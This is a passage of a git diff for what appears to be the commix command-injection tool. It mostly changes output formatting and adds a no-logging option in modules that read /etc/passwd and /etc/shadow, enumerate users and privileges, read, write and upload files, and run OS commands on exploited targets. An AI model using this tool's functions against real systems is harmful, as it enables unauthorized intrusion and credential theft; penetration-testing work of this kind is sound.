sys.stdout.write(settings.FAIL_STATUS)
@@ -507,6 +523,8 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti
"""
def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response):
cmd = menu.options.os_cmd
+ info_msg = "Executing '" + cmd + "' command."
+ print(settings.print_info_msg(info_msg))
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
session_handler.store_cmd(url, cmd, output, vuln_parameter)
@@ -515,9 +533,10 @@ def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace,
return check_how_long, output
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
- print("\n") + Fore.GREEN + Style.BRIGHT + str(output) + Style.RESET_ALL + "\n"
- logs.print_logs_notification(filename, url)
- raise SystemExit()
+ if settings.VERBOSITY_LEVEL <= 1:
+ print(settings.SINGLE_WHITESPACE)
+ print(settings.command_execution_output(output))
+ print(settings.SINGLE_WHITESPACE)
"""
Check the defined options
diff --git a/src/core/injections/blind/techniques/time_based/tb_file_access.py b/src/core/injections/blind/techniques/time_based/tb_file_access.py
index 896b82aef8..67f49ecee8 100755
--- a/src/core/injections/blind/techniques/time_based/tb_file_access.py
+++ b/src/core/injections/blind/techniques/time_based/tb_file_access.py
@@ -45,7 +45,6 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
session_handler.store_cmd(url, cmd, output, vuln_parameter)
_ = True
- new_line = "\n"
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
shell = output
@@ -61,17 +60,17 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
info_msg += "'" + Style.RESET_ALL + " : "
sys.stdout.write(settings.print_bold_info_msg(info_msg))
sys.stdout.flush()
- print(shell)
+ sys.stdout.write(shell)
output_file = open(filename, "a")
- info_msg = "The contents of file '"
- info_msg += file_to_read + "' : " + shell + ".\n"
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
+ if not menu.options.no_logging:
+ info_msg = "The contents of file '"
+ info_msg += file_to_read + "' : " + shell + ".\n"
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
else:
warn_msg = "It seems that you don't have permissions "
warn_msg += "to read the '" + file_to_read + "' file."
- sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
- sys.stdout.flush()
+ print(settings.print_warning_msg(warn_msg))
"""
Write to a file on the target host.
@@ -81,8 +80,8 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
file_to_write = menu.options.file_write
if not os.path.exists(file_to_write):
warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist."
- sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
- sys.stdout.flush()
+ print(settings.print_warning_msg(warn_msg))
+ print(settings.SINGLE_WHITESPACE)
raise SystemExit()
if os.path.isfile(file_to_write):
with open(file_to_write, 'r') as content_file:
@@ -90,11 +89,11 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
content = "".join(str(p) for p in content).replace("'", "\"")
if settings.TARGET_OS == "win":
import base64
- content = base64.b64encode(content)
+ content = base64.b64encode(content.encode(settings.DEFAULT_CODEC)).decode()
else:
warn_msg = "It seems that '" + file_to_write + "' is not a file."
- sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
- sys.stdout.flush()
+ print(settings.print_warning_msg(warn_msg))
+ print(settings.SINGLE_WHITESPACE)
if os.path.split(menu.options.file_dest)[1] == "" :
dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1]
elif os.path.split(menu.options.file_dest)[0] == "/":
@@ -153,14 +152,12 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
if settings.VERBOSITY_LEVEL == 0 and _:
print(settings.SINGLE_WHITESPACE)
if shell:
- info_msg = "The '" + shell + Style.RESET_ALL
- info_msg += Style.BRIGHT + "' file was created successfully!\n"
- sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg))
- sys.stdout.flush()
+ info_msg = "The '" + shell
+ info_msg += Style.RESET_ALL + Style.BRIGHT + "' file was created successfully."
+ print(settings.print_bold_info_msg(info_msg))
else:
warn_msg = "It seems that you don't have permissions to write the '" + dest_to_write + "' file."
- sys.stdout.write("\n" + settings.print_warning_msg(warn_msg) + "\n")
- sys.stdout.flush()
+ print(settings.print_warning_msg(warn_msg))
"""
Upload a file on the target host.
@@ -182,8 +179,8 @@ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec
raise SystemExit()
except ValueError as err_msg:
err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1]
- sys.stdout.write(settings.print_critical_msg(err_msg) + "\n")
- sys.stdout.flush()
+ print(settings.print_critical_msg(err_msg))
+ print(settings.SINGLE_WHITESPACE)
raise SystemExit()
# Check the file-destination
if os.path.split(menu.options.file_dest)[1] == "" :
@@ -212,14 +209,12 @@ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec
if settings.VERBOSITY_LEVEL == 0 and _:
print(settings.SINGLE_WHITESPACE)
if shell:
- info_msg = "The '" + shell + Style.RESET_ALL
- info_msg += Style.BRIGHT + "' file was uploaded successfully!"
- sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg) + "\n")
- sys.stdout.flush()
+ info_msg = "The '" + shell
+ info_msg += Style.RESET_ALL + Style.BRIGHT + "' file was uploaded successfully."
+ print(settings.print_bold_info_msg(info_msg))
else:
- warn_msg = "It seems that you don't have permissions to "
- warn_msg += "write the '" + dest_to_upload + "' file."
- sys.stdout.write("\n" + settings.print_warning_msg(warn_msg) + "\n")
+ warn_msg = "It seems that you don't have permissions to write the '" + dest_to_upload + "' file."
+ print(settings.print_warning_msg(warn_msg))
"""
Check the defined options
diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py
index 7335eb83da..fbdda83d12 100755
--- a/src/core/injections/blind/techniques/time_based/tb_handler.py
+++ b/src/core/injections/blind/techniques/time_based/tb_handler.py
@@ -481,8 +481,6 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r
# Export injection result
tb_injector.export_injection_results(cmd, separator, output, check_how_long)
print(settings.SINGLE_WHITESPACE)
- logs.print_logs_notification(filename, url)
- raise SystemExit()
if not new_line :
print(settings.SINGLE_WHITESPACE)
diff --git a/src/core/injections/results_based/techniques/classic/cb_enumeration.py b/src/core/injections/results_based/techniques/classic/cb_enumeration.py
index 462cb5f407..b7c83e3d25 100755
--- a/src/core/injections/results_based/techniques/classic/cb_enumeration.py
+++ b/src/core/injections/results_based/techniques/classic/cb_enumeration.py
@@ -58,8 +58,9 @@ def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
- info_msg = "The PowerShell's version number is " + ps_version + ".\n"
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
+ if not menu.options.no_logging:
+ info_msg = "The PowerShell's version number is " + ps_version + ".\n"
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
except ValueError:
warn_msg = "Heuristics have failed to identify the version of Powershell, "
@@ -94,8 +95,9 @@ def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, ur
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
- info_msg = "The hostname is " + str(shell) + ".\n"
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
+ if not menu.options.no_logging:
+ info_msg = "The hostname is " + str(shell) + ".\n"
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
else:
warn_msg = "Heuristics have failed to identify the hostname."
@@ -166,9 +168,10 @@ def system_information(separator, TAG, prefix, suffix, whitespace, http_request_
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
- info_msg = "The target operating system is " + str(target_os)
- info_msg += " and the hardware platform is " + str(target_arch) + ".\n"
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
+ if not menu.options.no_logging:
+ info_msg = "The target operating system is " + str(target_os)
+ info_msg += " and the hardware platform is " + str(target_arch) + ".\n"
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
else:
warn_msg = "Heuristics have failed to retrieve the system information."
@@ -219,8 +222,9 @@ def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method
sys.stdout.write(settings.print_bold_info_msg(info_msg))
# Add infos to logs file.
output_file = open(filename, "a")
- info_msg = "The current user is " + cu_account
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
+ if not menu.options.no_logging:
+ info_msg = "The current user is " + cu_account
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
if shell:
if (settings.TARGET_OS == "win" and not "Admin" in shell) or \
@@ -229,14 +233,16 @@ def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
- output_file.write(" and it is not privileged.\n")
+ if not menu.options.no_logging:
+ output_file.write(" and it is not privileged.\n")
output_file.close()
else:
sys.stdout.write(Style.BRIGHT + " and it is " + Style.RESET_ALL + Style.BRIGHT + "privileged" + Style.RESET_ALL + ".\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
- output_file.write(" and it is privileged.\n")
+ if not menu.options.no_logging:
+ output_file.write(" and it is privileged.\n")
output_file.close()
else:
info_msg = "The current user is " + str(cu_account)
@@ -244,8 +250,9 @@ def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
- info_msg = "The current user is " + cu_account + "\n"
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
+ if not menu.options.no_logging:
+ info_msg = "The current user is " + cu_account + "\n"
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
else:
warn_msg = "Heuristics have failed to identify the current user."
@@ -298,7 +305,8 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
+ if not menu.options.no_logging:
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
count = 0
for user in range(0, len(sys_users_list)):
@@ -326,7 +334,8 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method
print(" (" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".")
# Add infos to logs file.
output_file = open(filename, "a")
- output_file.write(" (" +str(count)+ ") " + sys_users_list[user] + is_privileged + ".\n" )
+ if not menu.options.no_logging:
+ output_file.write(" (" +str(count)+ ") " + sys_users_list[user] + is_privileged + ".\n" )
output_file.close()
else:
sys.stdout.write(settings.FAIL_STATUS)
@@ -369,7 +378,8 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method
sys_users = " ".join(str(p) for p in sys_users).strip()
print(sys_users)
output_file = open(filename, "a")
- output_file.write(" " + sys_users)
+ if not menu.options.no_logging:
+ output_file.write(" " + sys_users)
output_file.close()
else:
sys_users_list = []
@@ -384,7 +394,8 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
+ if not menu.options.no_logging:
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
count = 0
for user in range(0, len(sys_users_list)):
@@ -423,7 +434,8 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method
print(" (" +str(count)+ ") '" + Style.BRIGHT + fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.")
# Add infos to logs file.
output_file = open(filename, "a")
- output_file.write(" (" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" )
+ if not menu.options.no_logging:
+ output_file.write(" (" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" )
output_file.close()
except ValueError:
if count == 1 :
@@ -433,7 +445,8 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method
sys_users = " ".join(str(p) for p in sys_users.split(":"))
print(sys_users)
output_file = open(filename, "a")
- output_file.write(" " + sys_users)
+ if not menu.options.no_logging:
+ output_file.write(" " + sys_users)
output_file.close()
else:
sys.stdout.write(settings.FAIL_STATUS)
@@ -493,7 +506,8 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg )
+ if not menu.options.no_logging:
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg )
output_file.close()
count = 0
for line in sys_passes:
@@ -505,7 +519,8 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me
print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL)
# Add infos to logs file.
output_file = open(filename, "a")
- output_file.write(" (" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n")
+ if not menu.options.no_logging:
+ output_file.write(" (" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n")
output_file.close()
# Check for appropriate '/etc/shadow' format.
except IndexError:
@@ -515,7 +530,8 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me
sys.stdout.write(settings.print_warning_msg(warn_msg)+ "\n")
print(fields[0])
output_file = open(filename, "a")
- output_file.write(" " + fields[0])
+ if not menu.options.no_logging:
+ output_file.write(" " + fields[0])
output_file.close()
else:
sys.stdout.write(settings.FAIL_STATUS)
@@ -529,6 +545,10 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me
"""
def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
cmd = menu.options.os_cmd
+ if menu.file_access_options():
+ sys.stdout.flush()
+ info_msg = "Executing '" + cmd + "' command."
+ print(settings.print_info_msg(info_msg))
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
@@ -547,13 +567,10 @@ def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_
print(settings.SINGLE_WHITESPACE)
print(settings.command_execution_output(shell))
print(settings.SINGLE_WHITESPACE)
- logs.print_logs_notification(filename, url)
- else:
- if settings.VERBOSITY_LEVEL <= 1:
- print(settings.SINGLE_WHITESPACE)
- err_msg = "The '" + cmd + "' command, does not return any output."
- print(settings.print_critical_msg(err_msg))
- print(settings.SINGLE_WHITESPACE)
+ else:
+ err_msg = "The '" + cmd + "' command, does not return any output."
+ print(settings.print_critical_msg(err_msg))
+ print(settings.SINGLE_WHITESPACE)
"""
Check the defined options
diff --git a/src/core/injections/results_based/techniques/classic/cb_file_access.py b/src/core/injections/results_based/techniques/classic/cb_file_access.py
index e8b7c86ca9..20e6042e57 100755
--- a/src/core/injections/results_based/techniques/classic/cb_file_access.py
+++ b/src/core/injections/results_based/techniques/classic/cb_file_access.py
@@ -61,16 +61,15 @@ def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, u
sys.stdout.write(settings.print_bold_info_msg(info_msg))
print(shell)
output_file = open(filename, "a")
- info_msg = "The contents of file '"
- info_msg += file_to_read + "' : " + shell + ".\n"
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
+ if not menu.options.no_logging:
+ info_msg = "The contents of file '"
+ info_msg += file_to_read + "' : " + shell + ".\n"
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
else:
warn_msg = "It seems that you don't have permissions "
warn_msg += "to read the '" + file_to_read + "' file."
- sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
- sys.stdout.flush()
-
+ print(settings.print_warning_msg(warn_msg))
"""
Write to a file on the target host.
"""
@@ -78,8 +77,8 @@ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method,
file_to_write = menu.options.file_write
if not os.path.exists(file_to_write):
warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist."
- sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
- sys.stdout.flush()
+ print(settings.print_warning_msg(warn_msg))
+ print(settings.SINGLE_WHITESPACE)
raise SystemExit()
if os.path.isfile(file_to_write):
@@ -88,11 +87,11 @@ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method,
content = "".join(str(p) for p in content).replace("'", "\"")
if settings.TARGET_OS == "win":
import base64
- content = base64.b64encode(content)
+ content = base64.b64encode(content.encode(settings.DEFAULT_CODEC)).decode()
else:
warn_msg = "It seems that '" + file_to_write + "' is not a file."
- sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
- sys.stdout.flush()
+ print(settings.print_warning_msg(warn_msg))
+ print(settings.SINGLE_WHITESPACE)
if os.path.split(menu.options.file_dest)[1] == "" :
dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1]
@@ -148,17 +147,15 @@ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method,
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
shell = cb_injector.injection_results(response, TAG, cmd)
shell = "".join(str(p) for p in shell)
- if settings.VERBOSITY_LEVEL != 0:
- print(settings.SINGLE_WHITESPACE)
+ #if settings.VERBOSITY_LEVEL != 0:
+ # print(settings.SINGLE_WHITESPACE)
if shell:
- info_msg = "The " + shell + Style.RESET_ALL
- info_msg += Style.BRIGHT + " file was created successfully!" + "\n"
- sys.stdout.write(settings.print_bold_info_msg(info_msg))
- sys.stdout.flush()
+ info_msg = "The '" + shell
+ info_msg += Style.RESET_ALL + Style.BRIGHT + "' file was created successfully."
+ print(settings.print_bold_info_msg(info_msg))
else:
warn_msg = "It seems that you don't have permissions to write the '" + dest_to_write + "' file."
- sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
- sys.stdout.flush()
+ print(settings.print_warning_msg(warn_msg))
"""
Upload a file on the target host.
@@ -174,13 +171,13 @@ def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method,
_urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT)
except _urllib.error.HTTPError as err_msg:
warn_msg = "It seems that the '" + file_to_upload + "' file, does not exist. (" +str(err_msg)+ ")"
- sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
- sys.stdout.flush()
+ print(settings.print_warning_msg(warn_msg))
+ print(settings.SINGLE_WHITESPACE)
raise SystemExit()
except ValueError as err_msg:
err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1]
- sys.stdout.write(settings.print_critical_msg(err_msg) + "\n")
- sys.stdout.flush()
+ print(settings.print_critical_msg(err_msg))
+ print(settings.SINGLE_WHITESPACE)
raise SystemExit()
# Check the file-destination
@@ -210,14 +207,12 @@ def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method,
if settings.VERBOSITY_LEVEL != 0:
print(settings.SINGLE_WHITESPACE)
if shell:
- info_msg = "The " + shell
- info_msg += Style.RESET_ALL + Style.BRIGHT + " file was uploaded successfully!"
- sys.stdout.write(settings.print_bold_info_msg(info_msg) + "\n")
- sys.stdout.flush()
+ info_msg = "The '" + shell
+ info_msg += Style.RESET_ALL + Style.BRIGHT + "' file was uploaded successfully."
+ print(settings.print_bold_info_msg(info_msg))
else:
warn_msg = "It seems that you don't have permissions to write the '" + dest_to_upload + "' file."
- sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
- sys.stdout.flush()
+ print(settings.print_warning_msg(warn_msg))
"""
Check the defined options
diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py
index 09968cb28c..8d11592ddf 100755
--- a/src/core/injections/results_based/techniques/classic/cb_handler.py
+++ b/src/core/injections/results_based/techniques/classic/cb_handler.py
@@ -346,7 +346,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_
# if not menu.enumeration_options():
# print(settings.SINGLE_WHITESPACE)
cb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
- print(settings.SINGLE_WHITESPACE)
+ # print(settings.SINGLE_WHITESPACE)
# Check if defined single cmd.
if menu.options.os_cmd:
diff --git a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py
index 97dfe1dd38..bed06de214 100755
--- a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py
+++ b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py
@@ -63,8 +63,9 @@ def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
- info_msg = "The PowerShell's version number is " + ps_version + ".\n"
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
+ if not menu.options.no_logging:
+ info_msg = "The PowerShell's version number is " + ps_version + ".\n"
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
except ValueError:
warn_msg = "Heuristics have failed to identify the version of Powershell, "
@@ -94,12 +95,13 @@ def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, ur
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
if shell:
info_msg = "The hostname is " + str(shell) + "."
- sys.stdout.write(settings.print_bold_info_msg(info_msg) + "\n")
+ print(settings.print_bold_info_msg(info_msg) + "\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
- info_msg = "The hostname is " + str(shell) + ".\n"
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
+ if not menu.options.no_logging:
+ info_msg = "The hostname is " + str(shell) + ".\n"
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
else:
warn_msg = "Heuristics have failed to identify the hostname."
@@ -166,9 +168,10 @@ def system_information(separator, TAG, prefix, suffix, whitespace, http_request_
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
- info_msg = "The target operating system is " + str(target_os)
- info_msg += " and the hardware platform is " + str(target_arch) + ".\n"
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
+ if not menu.options.no_logging:
+ info_msg = "The target operating system is " + str(target_os)
+ info_msg += " and the hardware platform is " + str(target_arch) + ".\n"
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
else:
warn_msg = "Heuristics have failed to retrieve the system information."
@@ -223,8 +226,9 @@ def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method
sys.stdout.write(settings.print_bold_info_msg(info_msg))
# Add infos to logs file.
output_file = open(filename, "a")
- info_msg = "The current user is " + str(cu_account)
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
+ if not menu.options.no_logging:
+ info_msg = "The current user is " + str(cu_account)
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
if shell:
if (settings.TARGET_OS == "win" and not "Admin" in shell) or \
@@ -233,14 +237,16 @@ def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
- output_file.write(" and it is not privileged.\n")
+ if not menu.options.no_logging:
+ output_file.write(" and it is not privileged.\n")
output_file.close()
else:
sys.stdout.write(Style.BRIGHT + " and it is " + Style.RESET_ALL + Style.BRIGHT + "privileged" + Style.RESET_ALL + ".\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
- output_file.write(" and it is privileged.\n")
+ if not menu.options.no_logging:
+ output_file.write(" and it is privileged.\n")
output_file.close()
else:
info_msg = "The current user is " + str(cu_account)
@@ -248,8 +254,9 @@ def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
- info_msg = "The current user is " + str(cu_account) + "\n"
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
+ if not menu.options.no_logging:
+ info_msg = "The current user is " + str(cu_account) + "\n"
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
else:
warn_msg = "Heuristics have failed to identify the current user."
@@ -301,8 +308,9 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
- output_file.close()
+ if not menu.options.no_logging:
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
+ output_file.close()
count = 0
for user in range(0, len(sys_users_list)):
count = count + 1
@@ -330,7 +338,8 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method
print(" (" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".")
# Add infos to logs file.
output_file = open(filename, "a")
- output_file.write(" (" +str(count)+ ") " + sys_users_list[user] + is_privileged + ".\n" )
+ if not menu.options.no_logging:
+ output_file.write(" (" +str(count)+ ") " + sys_users_list[user] + is_privileged + ".\n" )
output_file.close()
else:
sys.stdout.write(settings.FAIL_STATUS)
@@ -371,7 +380,8 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method
sys_users = " ".join(str(p) for p in sys_users).strip()
print(sys_users)
output_file = open(filename, "a")
- output_file.write(" " + sys_users)
+ if not menu.options.no_logging:
+ output_file.write(" " + sys_users)
output_file.close()
else:
sys_users_list = []
@@ -386,7 +396,8 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
+ if not menu.options.no_logging:
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
count = 0
for user in range(0, len(sys_users_list)):
@@ -425,7 +436,8 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method
print(" (" +str(count)+ ") '" + Style.BRIGHT + fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.")
# Add infos to logs file.
output_file = open(filename, "a")
